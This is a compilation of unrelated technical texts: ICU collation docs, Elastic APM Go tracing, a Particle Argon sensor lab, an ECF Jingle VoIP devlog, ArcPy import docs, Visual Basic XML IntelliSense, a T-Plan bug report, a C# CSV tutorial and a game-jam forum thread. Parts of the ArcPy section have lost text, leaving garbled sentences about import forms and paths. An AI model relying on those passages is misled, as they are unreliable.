. "; . s=(UChar*)malloc(sizeof(UChar) * (strlen("This is a test")+1) ); . u_uastrcpy(s, "This is a test"); . coll = ucol_open(NULL, &success); . c = ucol_openElements(coll, str, u_strlen(str), &status); . order = ucol_next(c, &success); . ucol_reset(c); . order = ucol_prev(c, &success); . free(s); . ucol_close(coll); . ucol_closeElements(c); . }) on the same string are equivalent, if collation orders with the value UCOL_IGNORABLE are ignored. Character based on the comparison level of the collator. A collation order consists of primary order, secondary order and tertiary order. The data type of the collation order is t_int32.
Definition in file ucoleitr.h.
#include "unicode/utypes.h"
#include "unicode/ucol.h"
Go to the source code of this file.
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http://icu.sourcearchive.com/documentation/4.4.1-1/ucoleitr_8h.html
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In Go, context is used to propagate request-scoped values along a call
chain, potentially crossing between goroutines and between processes. For servers based on
net/http,
each request contains an independent context object, which allows adding values specific to that particular
request.
When you start a transaction, you can add it to a context object using apm.ContextWithTransaction. This context object can be later passed to apm.TransactionFromContext to obtain the transaction, or into apm.StartSpan to start a span.
The simplest way to create and propagate a span is by using apm.StartSpan, which takes a context and returns a span. The span will be created as a child of the span most recently added to this context, or a transaction added to the context as described above. If the context contains neither a transaction nor a span, then the span will be dropped (i.e. will not be reported to the APM Server.)
For example, take a simple CRUD-type web service, which accepts requests over HTTP and then makes corresponding database queries. For each incoming request, a transaction will be started and added to the request context automatically. This context needs to be passed into method calls within the handler manually in order to create spans within that transaction, e.g. to measure the duration of SQL queries.
import ( "net/http" "go.elastic.co/apm" "go.elastic.co/apm/module/apmhttp" "go.elastic.co/apm/module/apmsql" _ "go.elastic.co/apm/module/apmsql/pq" ) var db *sql.DB func init() { // apmsql.Open wraps sql.Open, in order // to add tracing to database operations. db, _ = apmsql.Open("postgres", "") } func main() { mux := http.NewServeMux() mux.HandleFunc("/", handleList) // apmhttp.Wrap instruments an http.Handler, in order // to report any request to this handler as a transaction, // and to store the transaction in the request's context. handler := apmhttp.Wrap(mux) http.ListenAndServe(":8080", handler) } func handleList(w http.ResponseWriter, req *http.Request) { // By passing the request context down to getList, getList can add spans to it. ctx := req.Context() getList(ctx) ... } func getList(ctx context.Context) ( // When getList is called with a context containing a transaction or span, // StartSpan creates a child span. In this example, getList is always called // with a context containing a transaction for the handler, so we should // expect to see something like: // // Transaction: handleList // Span: getList // Span: SELECT FROM items // span, ctx := apm.StartSpan(ctx, "getList", "custom") defer span.End() // NOTE: The context object ctx returned by StartSpan above contains // the current span now, so subsequent calls to StartSpan create new // child spans. // db was opened with apmsql, so queries will be reported as // spans when using the context methods. rows, err := db.QueryContext(ctx, "SELECT * FROM items") ... rows.Close() }
Contexts can have deadlines associated, and can be explicitly canceled. In some cases you may wish to propagate the trace context (parent transaction/span) to some code without propagating the cancellation. For example, an HTTP request’s context will be canceled when the client’s connection closes. You may want to perform some operation in the request handler without it being canceled due to the client connection closing, such as in a fire-and-forget operation. To handle scenarios like this, we provide the function apm.DetachedContext.
func handleRequest(w http.ResponseWriter, req *http.Request) { go fireAndForget(apm.DetachedContext(req.Context())) // After handleRequest returns, req.Context() will be canceled, // but the "detached context" passed into fireAndForget will not. // Any spans created by fireAndForget will still be joined to // the handleRequest transaction. }
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Lab 2: Working with Particle primitives & Grove Sensors
In this session, you'll explore the Particle ecosystem via an Argon-powered Grove Starter Kit for Particle Mesh with several sensors!
Tip: Go back to the source
If you get stuck at any point during this session, click here for the completed, working source.
If you pull this sample code into Workbench, don't forget to install the relevant libraries using the instructions below!
Create a new project in Particle Workbench
- Open Particle Workbench (VS Code) and click Create new project.
- Select the parent folder for your new project and click the Choose project's parent folder button.
- Give the project a name and hit Enter.
- Click ok when the create project confirmation dialog pops up.
- Once the project is created, the main
.inofile will be opened in the main editor. Before you continue, let's take a look at the Workbench interface.
Using the command palette and quick buttons
- To open the command palette, type CMD (on Mac) or CTRL (on Windows) + SHIFT + P and type Particle. To see a list of available Particle Workbench commands. Everything you can do with Workbench is in this list.
- The top nav of Particle Workbench also includes a number of handy buttons. From left to right, they are Compile (local), Flash (local), call function, and get variable.
- If this is your first time using Particle Workbench, you'll need to log in to your account. Open the command palette (CMD/CTRL + SHIFT + P) type/select the Particle: Login command, and follow the prompts to enter your username, password, and two-factor auth token (if you have two-factor authentication setup).
Configuring the workspace for your device
- Before you can flash code to your device, you need to configure the project with a device type, Device OS firmware version, and device name.
Open the command palette and select the Configure Project for Device option.
- Choose a Device OS version. For this lab, you should use 1.4.0 or newer.
- Select the Argon as your target platform.
- Enter the name you assigned to your device when you claimed it and hit Enter.
You're now ready to program your Argon with Particle Workbench. Let's get the device plugged into your Grove kit and start working with sensors.
Unboxing the Grove Starter Kit
The Grove Starter Kit for Particle Mesh comes with seven different components that work out-of-the-box with Particle Mesh devices, and a Grove Shield that allows you to plug in your Feather-compatible Mesh devices for quick prototyping. The shield houses eight Grove ports that support all types of Grove accessories. For more information about the kit, click here.
For this lab, you'll need the following items from the kit:
- Argon
- Grove Starter Kit for Particle Mesh
- Grove FeatherWing
- Temperature and Humidity Sensor
- Chainable LED
- Light Sensor
- Grove wires
Note: Sourcing components
You won't need every sensor that comes with the Particle Starter Kit for Mesh for this project; however, the sensors that aren't used for this build, are used in other Particle Workshops and tutorials.
- Open the Grove Starter Kit and remove the three components listed above, as well as the bag of Grove connectors.
- Remove the Grove Shield and plug in your Argon. This should be the same device you claimed in the last lab.
Now, you're ready to start using your first Grove component!
Working with Particle Variables plus the Temperature & Humidity Sensor
The Particle Device OS provides a simple way to access sensor values and device local state through the variable primitive. Registering an item of firmware state as a variable enables you to retrieve that state from the Particle Device Cloud. Let's explore this now with the help of the Grove Temperature and Humidity sensor.
Connect the Temperature sensor
To connect the sensor, connect a Grove cable to the port on the sensor. Then, connect the other end of the cable to the
D2 port on the Grove shield.
Install the sensor firmware library
To read from the temperature sensor, you'll use a firmware library, which abstracts away many of the complexities of dealing with this device. That means you don't have to reading from the sensor directly or dealing with conversions, and can instead call functions like
getHumidity and
getTempFarenheit.
- Open your Particle Workbench project and activate the command palette (CMD/CTRL+SHIFT+P).
- Type Particle and select the Install Library option
- In the input, type Grove_Temperature_And_Humidity_Sensor and click enter.
You'll be notified once the library is installed, and a
libdirectory will be added to your project with the library source.
Read from the sensor
- Once the library is installed, add it to your project via an
#includestatement at the top of your main project file (
.inoor
.cpp).
#include "Grove_Temperature_And_Humidity_Sensor.h"
Tip: Get any error message from Workbench?
From time-to-time, the intellisense engine in VS Code that Workbench depends on may report that it cannot find a library path and draw a red squiggly under your
#includestatement above. As long as your code compiles, (which you can verify by opening the command palette [CMD/CTRL+SHIFT+P] and choosing the
Particle: compile application (local)) you can ignore this error.
You can also resolve the issue by trying one of the steps detailed in this community forum post, here.
- Next, initialize the sensor, just after the
#includestatement.
DHT dht(D2);
In the
setupfunction, you'll initialize the sensor and a serial monitor.
void setup() { Serial.begin(9600); dht.begin(); }
Finally, take the readings in the
loopfunction and write them to the serial monitor.
void loop() { float temp, humidity; temp = dht.getTempFarenheit(); humidity = dht.getHumidity(); Serial.printlnf("Temp: %f", temp); Serial.printlnf("Humidity: %f", humidity); delay(10000); }
- Now, flash this code to your device. Open the command palette (CMD/CTRL+SHIFT+P) and select the Particle: Cloud Flash option.
- Finally, open a terminal window and run the
particle serial monitorcommand. Once your Argon comes back online, it will start logging environment readings to the serial console.
Now that you've connected the sensor, let's sprinkle in some Particle goodness.
Storing sensor data in Particle variables
To use the Particle variable primitive, you need global variables to access.
Start by moving the first line of your
loopwhich declares the two environment variables (
tempand
humidity) to the top of your project, outside of the
setupand
loopfunctions.
Then, add two more variables of type
double. We'll need these because the Particle Cloud expects numeric variables to be of type
intor
double.
#include "Grove_Temperature_And_Humidity_Sensor.h" DHT dht(D2); float temp, humidity; double temp_dbl, humidity_dbl; void setup() { // Existing setup code here } void loop() { // Existing loop code here }
With global variables in hand, you can add Particle variables using the
Particle.variable()method, which takes two parameters: the first is a string representing the name of the variable, and the second is the firmware variable to track.
Add the following lines to the end of your
setupfunction:
Particle.variable("temp", temp_dbl); Particle.variable("humidity", humidity_dbl);
- Next, in the
loopfunction, just after you read the temp and humidity values from the sensor, add the following two lines, which will implicitly cast the raw
floatvalues into
doublefor the Device Cloud.
temp_dbl = temp; humidity_dbl = humidity;
- Flash this code to your device and, when the Argon comes back online, move on to the next step.
Accessing Particle variables from the Console
- To view the variables you just created, open the Particle Console by navigating to console.particle.io and clicking on your device.
- On the device detail page, your variables will be listed on the right side, under Device Vitals and Functions.
- Click the Get button next to each variable to see its value.
Now that you've mastered Particle variables for reading sensor data, let's look at how you can use the function primitive to trigger an action on the device.
Working with Particle Functions and the Chainable LED
As with Particle variables, the function primitive exposes our device to the Particle Device Cloud. Where variables expose state, functions expose actions.
In this section, you'll use the Grove Chainable LED and the
Particle.function command to take a heart-rate reading, on demand.
Connect the Chainable LED
- Open the bag containing the chainable LED and take one connector out of the bag.
- Connect one end of the Grove connector to the chainable LED on the side marked IN (the left side if you're looking at the device in a correct orientation).
- Plug the other end of the connector into the Shield port labeled
A4.
- As with the Temp and Humidity sensor, you'll need a library to help us program the chainable LED. Using the same process you followed in the last module, add the
Grove_ChainableLEDlibrary to your project in Particle Workbench.
- Once the library has been added, add an include and create an object for the ChainableLED class at the top of your code file. The first two parameters specify which pin the LED is wired to, and the third is the number of LEDs you have chained together, just one in your case.
#include "Grove_ChainableLED.h" ChainableLED leds(A4, A5, 1);
- Now, initialize the object in your
setupfunction. You'll also set the LED color to off after initialization.
leds.init(); leds.setColorHSB(0, 0.0, 0.0, 0.0);
With our new device set-up, you can turn it on in response to Particle function calls!
Turning on the Chainable LED
- Start by creating an empty function to toggle the LED. Place the following before the
setupfunction. Note the function signature, which returns an
intand takes a single
Stringargument.
int toggleLed(String args) { }
In the
toggleLEDfunction, add a few lines turn the LED red, delay for half a second, and then turn it off again.
int toggleLed(String args) { leds.setColorHSB(0, 0.0, 1.0, 0.5); delay(500); leds.setColorHSB(0, 0.0, 0.0, 0.0); delay(500); return 1; }
- Now, let's call this from the loop to test things out. Add the following line before the delay.
toggleLed("");
- The last step is to flash this new code to your Argon. Once it's updated, the LED will blink red.
Setting-up Particle Functions for remote execution
Now, let's modify our firmware to make the LED function a Particle Cloud function.
- Add a
Particle.functionto the
setupfunction.
Particle.function("toggleLed", toggleLed);
Particle.functiontakes two parameters, the name of the function for display in the console and remote execution, and a reference to the firmware function to call.
- Remove the call to
toggleLedfrom the
loop.
Calling Particle functions from the console
- Flash the latest firmware and navigate to the device dashboard for your Argon at console.particle.io. On the right side, you should now see your new function.
- Click the Call button and watch the chainable LED light up at your command!
Working with Particle Publish & Subscribe plus a light sensor
For the final section of this lab, you're going to explore the Particle
pub/sub primitives, which allows inter-device (and app!) messaging through the Particle Device Cloud. You'll use the light sensor and publish messages to all listeners when light is detected.
Connect the Light sensor
To connect the light sensor, connect a Grove cable to the port of the sensor. Then, connect the other end of the cable to the Analog
A0/A1 port on the Grove shield.
Using the sensor
Let's set-up the sensor on the firmware side so that you can use it in our project. The light sensor is an analog device, so configuring it is easy, no library needed.
- You'll need to specify that the light sensor is an input using the
pinModefunction. Add the following line to your
setupfunction:
pinMode(A0, INPUT);
- Let's also add a global variable to hold the current light level detected by the sensor. Add the following before the
setupand
loopfunctions:
double currentLightLevel;
- Now, in the
loopfunction, let's read from the sensor and use the
mapfunction to translate the analog reading to a value between 0 and 100 that you can work with.
double lightAnalogVal = analogRead(A0); currentLightLevel = map(lightAnalogVal, 0.0, 4095.0, 0.0, 100.0);
- Now, let's add a conditional to check the level and to publish an event using
Particle.publishif the value goes over a certain threshold.
if (currentLightLevel > 50) { Particle.publish("light-meter/level", String(currentLightLevel), PRIVATE); }
- Flash the device and open the Particle Console dashboard for your device. Shine a light on the sensor and you'll start seeing values show up in the event log.
Subscribing to published messages from the Particle CLI
In addition to viewing published messages from the console, you can subscribe to them using
Particle.subscribe on another device, or use the Device Cloud API to subscribe to messages in an app. Let's use the Particle CLI to view messages as they come across.
- Open a new terminal window and type
particle subscribe light-meter mine.
- Shine a light on the light sensor and wait for readings. You should see events stream across your terminal. Notice that the
light-meterstring is all you need to specify to get the
light-meter/latestevents. By using the forward slash in events, can subscribe via greedy prefix filters.
Bonus: Working with Mesh Publish and Subscribe
If you've gotten this far and still have some time on your hands, how about some extra credit? So far, everything you've created has been isolated to a single device, a Particle Argon. Particle 3rd generation devices come with built-in mesh-networking capabilities.
Appendix: Grove sensor resources
This section contains links and resources for the Grove sensors included in the Grove Starter Kit for Particle Mesh.
Button
- Sensor Type: Digital
- Particle Documentation
- Seeed Studio Documentation
Rotary Angle Sensor
- Sensor Type: Analog
- Particle Documentation
- Seeed Studio Documentation
Ultrasonic Ranger
- Sensor Type: Digital
- Particle Firmware Library
- Particle Documentation
- Seeed Studio Documentation
Temperature and Humidity Sensor
- Sensor Type: Digital
- Particle Firmware Library
- Particle Documentation
- Seeed Studio Documentation
Light sensor
- Sensor Type: Analog
- Particle Documentation
- Seeed Studio Documentation
Chainable LED
- Sensor Type: Serial
- Particle Firmware Library
- Particle Documentation
- Seeed Studio Documentation
Buzzer
- Sensor Type: Digital
- Particle Documentation
- Seeed Studio Documentation
4-Digit Display
- Sensor Type: Digital
- Particle Firmware Library
- Particle Documentation
- Seeed Studio Documentation
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VoIP in ECF, GSoC07 DevLog
This page will be updated regularly with status reports on the development progress of the VoIP implementation via Jingle in the ECF.
Contents
- 1 May
- 2 June
- 3 July
- 4 August
May
30.05.2007
Trying to identify the usage points of the jmf in the Smack API. The intention is to take control of the media framework via the call api. In detail this constitutes the audio with bitrate, samplerate, mono/stereo as well as the current status of the media playback and recording. Additionally it is intended to set the current playback parameters like volume or pan. As it seams, the usage is pretty interwoven with the Smack API itself. Therefore it is not as easy as intended to access the necessary jmf infrastructure. The key jmf classes required are:
As it seams the AudioReceiver is not able to handle payload (encoding details of the stream) changes on runtime. As the possible payload types are preconfigured (hard coded) in the Smack API, those predefined values would need to be changed before establishing a connection. Possibly be removing higher quality payloads to use less bandwidth.
The currently supported Payloads are: gsm, g723 and PCMU at 16000 bits. There configuration takes place in org.jivesoftware.smackx.jingle.mediaimpl.jmf.JmfMediaManager. According to the api docs those codecs work on Windows and Mac only.
31.05.2007
Posted several issues in the SmackAPI forum. Tried to contact Thiago Camargo, the author of the SmackAPI, with several issues described in the previous posting.
Additionally created a figure to describe the architecture of the Jingle Provider in the context of the ECF. It can be seen here.
June
04.06.2007
Progress can be reported with the SmackAPI. Although no concrete voice is transmitted yet, after various connection configuration attempts it turned out, that the current TransportManager is not well suited. Instead of using an ICETransportManager a STUNTransportManager is used now. It is able to handle NAT based connection issues and does not rely on an intermediator like the ICETransportManager. As a result the current configuration is able to negotiate the connection details such as ports to use for the connection and what codecs to use. In the logs this manfiests as:
... Track 0 is set to transmit as: gsm/rtp, 8000.0 Hz, Mono, FrameSize=264 bits Created RTP session at 19028 to: 84.166.96.253 12568 ....
Although the setup seams to be up and running, there is still no voice to be heard. I have posted this development to the ignite forum.
06.06.2007
Further researched the ECF call api trying to figure out what extensions need to be implemented for the jingle implementation.
11.06.2007
Spend more time working on the jingle demo application. One issue has been solved but there is still no voice for the voiceless. The discussion continues in the ignite forum. As it seams my network setup is not the main problem. I have tested the Spark XMPP client which uses the SmackAPI. Spark is able to provide computer-to-computer voice communication with the very same jingle api.
12.06.2007
Implemented the adapter facilities of the call api. The goal is to create a custom IAdapterFactory to extend the XMPPContainer. The adapter type provided here is an ICallSessionContainerAdapter. To understand the adapter approach it is advised to consult this resource:
13.06.2007
Created some graphics describing the IAdapater pattern in the Eclipse Communication Framework. The image describes the implementation in the Jingle provider. Additionally further work has been done on the SmackAPI demo.
Image: Adapter pattern in the ECF (549x680, 116 KB)
16.06.2007
Managed to implement a first demo version of a jingle call via the SmackAPI. Earlier problems seamed to have resulted in a faulty build process of the SmackAPI.
19.06.2007
Started to integrate the Jingle functionality of the SmackAPI into the ECF call api.
22.06.2007
It was possible to make a first Smack demo application running from within eclipse. It is not based in the call api yet, but the process of loading and executing is plugin/bundle based. The assumption, that the earlier problems were Smack related turned out to be wrong. It was classpath problem which had its origin in the bundle classloading. Additionally i was able to make my first contribution to improve the call api itself. Some more enhancements are going to take place over the next few days.
27.06.2007
Added a new namespace for the jingle protocol via the ecf extension point "org.eclipse.ecf.identity.namespace". It is used to identify Jingle call sessions via a JingleID. I also introduced the logging facilities provided by the osgi framework. It is used for every logging operation in the jingle plugin. Additional work has been done to incorporate the smack api into the call api. This includes creating an uml diagram of the jingle plugin using the call api, which can be found here . It is created using the free version of omondo.
30.06.2007
A new unit test project has been created. The required infrastructure to run the test cases has been setup as well as some first test cases. The initialization of the test environment is quite complex and some more abstracting will be done in that area over the next few days. Also several code cleanups have been performed with custom formating and some stricter compiler rules. Additionally added javadoc comments wherever appropriated.
July
02.07.2007
To run the initial test cases it is required to have the bundles of the ECF available. This caused some problems since the XMPP provider (on which the jingle provider is footed) uses the SmackAPI in version 2 whereas the Jingle provider needs version 3. Therefore it was required to upgrade the XMPP provider to make it Smack3 compatible. A patch has been created to upgrade the XMPP provider. It has been send to the responsible commiter (scott lewis) for review and incorporation.
06.07.2007
Test, Test... Test case. :) A lot of test cases have been written for the jingle provider. Some problems arose do to the networked nature of the entire project. In the current setup it is necessary to have a remote jingle client running which answers or creates calls. In an ideal world those actions would be initiated from within the test cases by invoking the remote jingle client directly.
10.07.2007
I have created a new project for the jingle provider user interface. It is based on the infrastructure provided in org.eclipse.ecf.telephony.call.ui and has the main component of an Action. This Action provides the possibility to start a phone call to a remote user by right clicking on the user and selecting "Call via Jingle" (see screenshot). This procedure works and voice communication is possible. A problem arises here. It only works when calling the little demo application i have written. The demo application can't call the ECF. ECF to ECF doesn't work either. The call is canceled immediately stating that the service is not available. So some more work is required here.
12.07.2007
The call feature is finally working inside the ECF by utilizing the Call api. To make that possible, it was required to alter the XMPP provider slightly. It is required to initialize the ICallSessionContainerAdapter which ties the Jingle features to an existing and connected XMPPConnection. With a working implementation up and running it is required to do some more testing to ensure integrity. If robustness can be assured, it is intended to focus on the call ui features. Currently it is not possible to accept an incoming call via a user interaction, nor is it possible to hangup a call.
19.07.2007
Created two gui elements to interact with the call api. One is a popup windows which informs of incoming calls. The other is a view which lets the user accept/reject/cancel incoming calls as well as to see some session details. He is also able to adjust the output volume as well as his own microphone input volume.
August
08.08.2007
After some time off (exams) the work on the ECF call api continued. After some discussion with Scott Lewis, we decided to extend the container infrastructure of the ECF with some additional facilities. The idea is to be able to act as a listener on the container creation process. This is required in order to set up appropriate listeners on the call api. So when a container is created, which is able to provide an ICallSessionContainerAdapter (the adapter which supports a voice protocol), a listener can be registered to present gui elements on incoming calls.
11.08.2007
Some more modifications on the call api have been introduced to notify facilities of connection events on an IContainer. For that purpose the two parameter classes IContainerConnectingEvent and IContainerConnectedEvent have been introduced in the handleEvent(IContainerEvent) method of the IContainer.
13.08.2007
Apparently the Smack library, which provides the jingle support, is not Windows Vista compatible. This is due to the fact, that it relies on the Java Media Framework (JMF) which is not Windows Vista compatible. The JMF has not been under active development for several years now and the company behind the Smack api (ignitesoftware) is planning on replacing the dependency to the JMF with a custom solution (at some point in the future).
15.08.2007
Several problems have been solved now. For one, the jingle call provider can now have any name for its client type. Previously the name had to be "Smack". More important is the usage of the ECFStart extension point. It is used for the jingle provider as well as for the call.ui. They both register themselves on the ContainerManager to get informed of newly created XMPPContainers. They can then leverage the newly created XMPPContainer to get notified of connection events (Jingle provider) or to register them selfs as a listener on the jingle provider (call.ui). With this in place it is now possible to use the call.ui to accept or reject calls.
Additionally i have posted an enhancement request to gather some more ideas about the user interface. See here:
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Importing ArcPy
ArcGIS 10 introduced ArcPy, a Python site package that encompasses and further enhances the arcgisscripting module introduced at ArcGIS 9.2. ArcPy provides a rich and dynamic environment for developing Python scripts while offering code completion and integrated documentation for each function, module, and class.), mapping module (arcpy.mapping), an ArcGIS Spatial Analyst extension module (arcpy.sa), and an ArcGIS Network Analyst extension module (arcpy.na).
To import an entire module, use the import module:
# Import only arcpy.mapping # import arcpy.mapping
Of course, Python has many other core and third-party modules. If you wanted to also work with Python's core os and sys modules, you might use a similar import:
# Import arcpy, os and sys # import arcpy import os import sys
In many cases, you might not plan or need to use the entire module. One way to import only a portion of a module is to use a from-import statement. The below example might want to draw attention to what a module or part of a module is identified as to make your script more readable, or perhaps the default name is just too long for your preferences. In any of these cases, you can use the form from-import-as. Like the previous example, the below example also imports the env class but assigns it the name ENV:
# Import env from arcpy as ENV and set the workspace environment # from arcpy import env as ENV ENV.workspace = "c:/data"
You could import the mapping module in the same fashion:
# Import the mapping module from arcpy as MAP and create a MapDocument # object # from arcpy import mapping as MAP mxd = MAP.MapDocument("C:/maps/basemap.mxd")
Another version of importing is the form from-import-*. The contents of the module are imported will be overwritten, not to mention that with large modules, your namespace can become particularly crowded and busy. Think about it this way: In the following example, both the management and analysis module are being.
Both of the following samples require the ArcGIS Spatial Analyst extension to run.
# Import arcpy and the sa module as * # import arcpy from arcpy.sa import * arcpy.CheckOutExtension("spatial") # simple addition of sa. for every function and class adds up quickly, disrupting the readability and adding more bulk to the line.
# Import arcpy and the sa module # import arcpy from arcpy import sa arcpy.CheckOutExtension("spatial") #)))
Paths and import
When using an import statement, Python looks for a module matching that name in the following locations (and in the following order):
- Paths specified in the PYTHONPATH system environment variable
- A set of standard Python folders (the current folder, c:\python2x\lib, c:\python2x\Lib\site-packages, and so on)
- Paths specified inside any .pth file found in 1 and 2
For more information on this, see the following:.
The installation of ArcGIS 10.1 products will install Python 2.7 if it isn't already installed. The installation will also add the file Desktop10.1.pth (or Engine10.1.pth or Server10.1.pth) into python27\Lib\site-packages. The contents of this file are two lines containing the path to your system's ArcGIS installation's arcpy and bin folders. These two paths are required to import ArcPy successfully in Python version 2.7.
When using an import statement, Python refers to your system's PYTHONPATH environment variable to locate module files. This variable is set to a list of directories..1.pth file. The file should contain the two lines shown below (corrected to your system's path if they do not match):
c:\Program Files\ArcGIS\Desktop10.1\arcpy c:\Program Files\ArcGIS\Desktop10.1\bin
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Updated: July 2008
The Visual Basic Code Editor includes IntelliSense features for XML that provide word completion for elements defined in an XML schema. If you include an XML Schema Definition (XSD) file in your project and import the target namespace of the schema by using the Imports statement, the Code Editor will include elements from the XSD schema in the IntelliSense list of valid member variables for XElement and XDocument objects. The following illustration shows the IntelliSense members list for an XElement object.
To enable XML IntelliSense in Visual Basic, you must include an XSD schema file in your Visual Basic project. You must also import the target namespace for the XSD schema into your code file by using the Imports statement. Alternatively, you can add the target namespace to the project-level namespace list by using the References page of the Visual Basic Project Designer. For examples, see How to: Enable XML IntelliSense in Visual Basic. For more information, see Imports Statement (XML Namespace) and References Page, Project Designer (Visual Basic).
Note that by default you cannot see XSD schema files in Visual Basic projects. You may have to click the Show All Files button to select an XSD file to include in your project.
You can create an XSD schema for an existing XML file by inferring the XSD schema by using Visual Studio XML tools.
Starting in SP1, you can. For more information, see XML to Schema Wizard and How to: Create an XML Schema Set by Using the XML to Schema Wizard
You can also use the Visual Studio XML Editor to infer an XSD schema set from an XML file. To create an XML schema set by using the XML Editor, open an XML file in the Visual Studio XML Designer and then click Create Schema on the XML menu. After you create the XSD schema set, you can save the created schema set to one or more XSD files and include them in your project. For more information, seeHow to: Enable XML IntelliSense in Visual Basic.
Note that different XSD schema sets might be inferred from multiple XML documents that are intended to have the same schema. This can occur when particular elements and attributes are found in one XML file and not in another, or when elements are included in different order, for example. You should review inferred XSD schema sets for completeness and accuracy when you use XSD schema inference.
After you type a period (.) to delimit an instance of an XElement or XDocument object (or an instance of IEnumerable(Of XElement) or IEnumerable(Of XDocument)), Visual Basic IntelliSense displays a list of possible object members. The initial list includes three options that represent XML axis properties, as described in the following list.
Select this option to show a list of possible child elements. For more information, see XML Element Literal and the Elements method.
Select this option to show a list of possible attributes. For more information, see XML Axis Properties.This option is available only for objects of type XElement.
Select this option to show a list of possible descendant elements. For more information, see How to: Access XML Descendant Elements (Visual Basic) and the Elements method.
Select or begin typing any of the XML options from the list. The member list will then display potential members from the XML schema that are specific to the selected option. If you have XML namespaces imported that are associated with a specific XML namespace prefix, a list of potential XML namespace prefixes is included in the member list.
For example, consider the following XSD schema.
<?xml version="1.0" encoding="utf-8"?>
<xs:schema attributeFormDefault="unqualified"
elementFormDefault="qualified"
targetNamespace=""
xmlns:
<xs:element
<xs:complexType>
<xs:sequence>
<xs:element
<xs:complexType>
<xs:sequence>
<xs:element
<xs:element
<xs:element
</xs:sequence>
<xs:attribute
<xs:attribute
</xs:complexType>
</xs:element>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
Valid XML for the XSD schema would resemble the following.
<?xml version="1.0"?>
<PurchaseOrders xmlns="">
<PurchaseOrder PurchaseOrderNumber="12345" OrderDate="2000-1-1">
<Address />
<Items />
<Comment />
</PurchaseOrder>
</PurchaseOrders>
If you include this XSD schema file in a project and import the target namespace from the XSD schema into your code file or project, Visual Basic IntelliSense displays members from the schema as you type your Visual Basic code. If the target namespace for the XSD schema is imported as the default namespace and you type the following, IntelliSense displays a list of possible child elements for the PurchaseOrder XML element.
Dim po = <PurchaseOrder />
po.<
The list consists of the Address, Comment, and Items elements.
Determining the XSD type to use for IntelliSense is not exact. As a result, XML IntelliSense will often show an expanded list of possible members. To aid you in selecting an item from the IntelliSense member list, items are displayed with an indication of the level of certainty that XML IntelliSense has for a particular member.
Sometimes XML IntelliSense can identify a specific type from the XSD schema. In these cases, it will display possible child elements, attributes, or descendant elements for that XSD type with a high degree of certainty. These items are identified with a check mark.
However, sometimes XML IntelliSense is not able to identify a specific type from the XSD schema. In these cases, it will display an expanded list of possible child elements, attributes, or descendant elements from the XSD schema for the project with a low degree of certainty. These items are identified with a question mark.
Date
History
Reason
July 2008
Added content regarding the new XML to Schema Wizard to the "Generating a Schema File (Schema Inference)" section.
SP1 feature change.
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http://msdn.microsoft.com/en-us/library/bb531325.aspx
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When I create a test script using the Java API that contains calls to compareTo I recieve the error "cannot find symbol method compareTo..." This also occurs when I have a test script that I export to java within the GUI. Attached is a screenshot showing an exported script with this error occurring in the GUI. Additionally I have copied and pasted the error I see when I attempt to build one of the java files at the command line:
[javac] /home/nic47222/tplan_script/RfcBasicTest.java:13: cannot find symbol
[javac] symbol : method compareTo(java.io.File[],java.lang.String,double,java.awt.Rectangle)
[javac] location: class RfcBasicTest
[javac] compareTo( new File[] { new File("imgs/rfc_start.png")}, "default", 98.0,new Rectangle(0, 68, 800, 532));
The contents of the file I'm trying to build:
import com.tplan.robot.scripting.DefaultJavaTestScript;
import com.tplan.robot.scripting.JavaTestScript;
import java.io.File;
import java.io.IOException;
import java.awt.Rectangle;
public class RfcBasicTest extends DefaultJavaTestScript implements JavaTestScript
{
public void test(){
try{
super.compareTo( new File[] { new File("imgs/rfc_start.png")}, "default", 98.0,new Rectangle(0, 68, 800, 532));
}catch(IOException ex){
ex.printStackTrace();
}
}
}
This occurs when using sun (oracle) java sdk 1.6.0_21 on Linux and windows as well as openjdk 1.6.0 on Linux. The error occurs on the GUI in Windows and Linux as well.
Mike Nicholson
2010-09-29
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http://sourceforge.net/p/tplanrobot/bugs/122/
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Read Data From a CSV File in C#
In this tutorial for Learning to create a test automation framework with C#, Selenium 3 and Nunit , we’ll be adding data driven support to the test automation framework we’ve built and will read data from CSV file in C#.
- You’re here→Read Data From CSV File in C#
- How to Create a Test Suite in Selenium WebDriver and C#
- How to Use Data Driven with Selenium Test Suite
Data driven is external to your functional tests, it is loaded and used to extend your automated test cases. One of the best examples is that of a customer login form with multiple accounts. To use data-driven testing in this scenario, you might record a single automated test.
In our example, we are going to use an external CSV file which will be our external source of information and we will read data from it in our C# code. To create data driven support, we’ll create a new class named ‘General.cs’ and paste the following code:
using System.Collections.Generic; using System.IO; namespace Test { public class General { public List<string> loadCsvFile(string filePath) { var reader = new StreamReader(File.OpenRead(filePath)); List<string> searchList = new List<string>(); while(!reader.EndOfStream) { var line = reader.ReadLine(); searchList.Add(line); } return searchList; } } }
This function receives the path we will decide to work with and retrieves a list of the information from the file. In the example below we’ll be creating another class called ‘Servers’, a similar technology to the Page Object Model. Paste the following code:
namespace Test { public static class Servers { private static T getServers<T>() where T : new () { var servers = new T(); return servers; } public static General general { get { return getServers<General>(); } } } }
Congratulations, now our test automation framework is will be able to read data from CSV File in C#, meaning loading CSV files! In the following tutorials we’ll be learning how to incorporate these capabilities in our automated tests. Continue on with the tutorial and Create a Test Suite in Selenium Webdriver and C#.
-Please share your ideas and insights in the comment below!
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https://blog.testproject.io/2017/02/09/read-data-csv-file-in-c/
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Just a reminder to all who would like to participate. I'm definitely going to take part, unless the rule turns out to be something brain-dead like basing the gameplay on the shape of California (without any means to actually use an image, so you have to somehow conjure up California with code only).
So, how many participants should we expect today?
And a question to CGamesPlay - are you going to implement the possibility of rating the rules. That would allow us to weed out rules like the one above.
---------------------------[ ChristmasHack! | My games ] :::: One CSS to style them all, One Javascript to script them, / One HTML to bring them all and in the browser bind them / In the Land of Fantasy where Standards mean something.
I like that rule
I'm in today, hopefully. I may not be able to, as I have some other stuff going on.
As to the rules rating, I had it planned, but what little work I do on the site is dedicated to other things.
-- Tomasu: Every time you read this: hugging!
Ryan Patterson - <>
I like that rule
Well, everyone has their tastes. That's why rating the rules by a whole bunch of people (and not rating them according to my, or anyone else's, personal opinion) is a good idea .
I'm wondering, how would you like this example rule: "The game must be strongly based on the shape of People's Republic of Congo"?
Anyway, I hope there are more people in today's MH than there are in this thread.
I am in, assuming the proviso that Jakub brought up.
--- <-- Read it, newbies.
I'm wondering, how would you like this example rule: "The game must be strongly based on the shape of People's Republic of Congo"?
Well, it's not as original, and the Democratic Republic of Congo isn't as funnily-shaped.
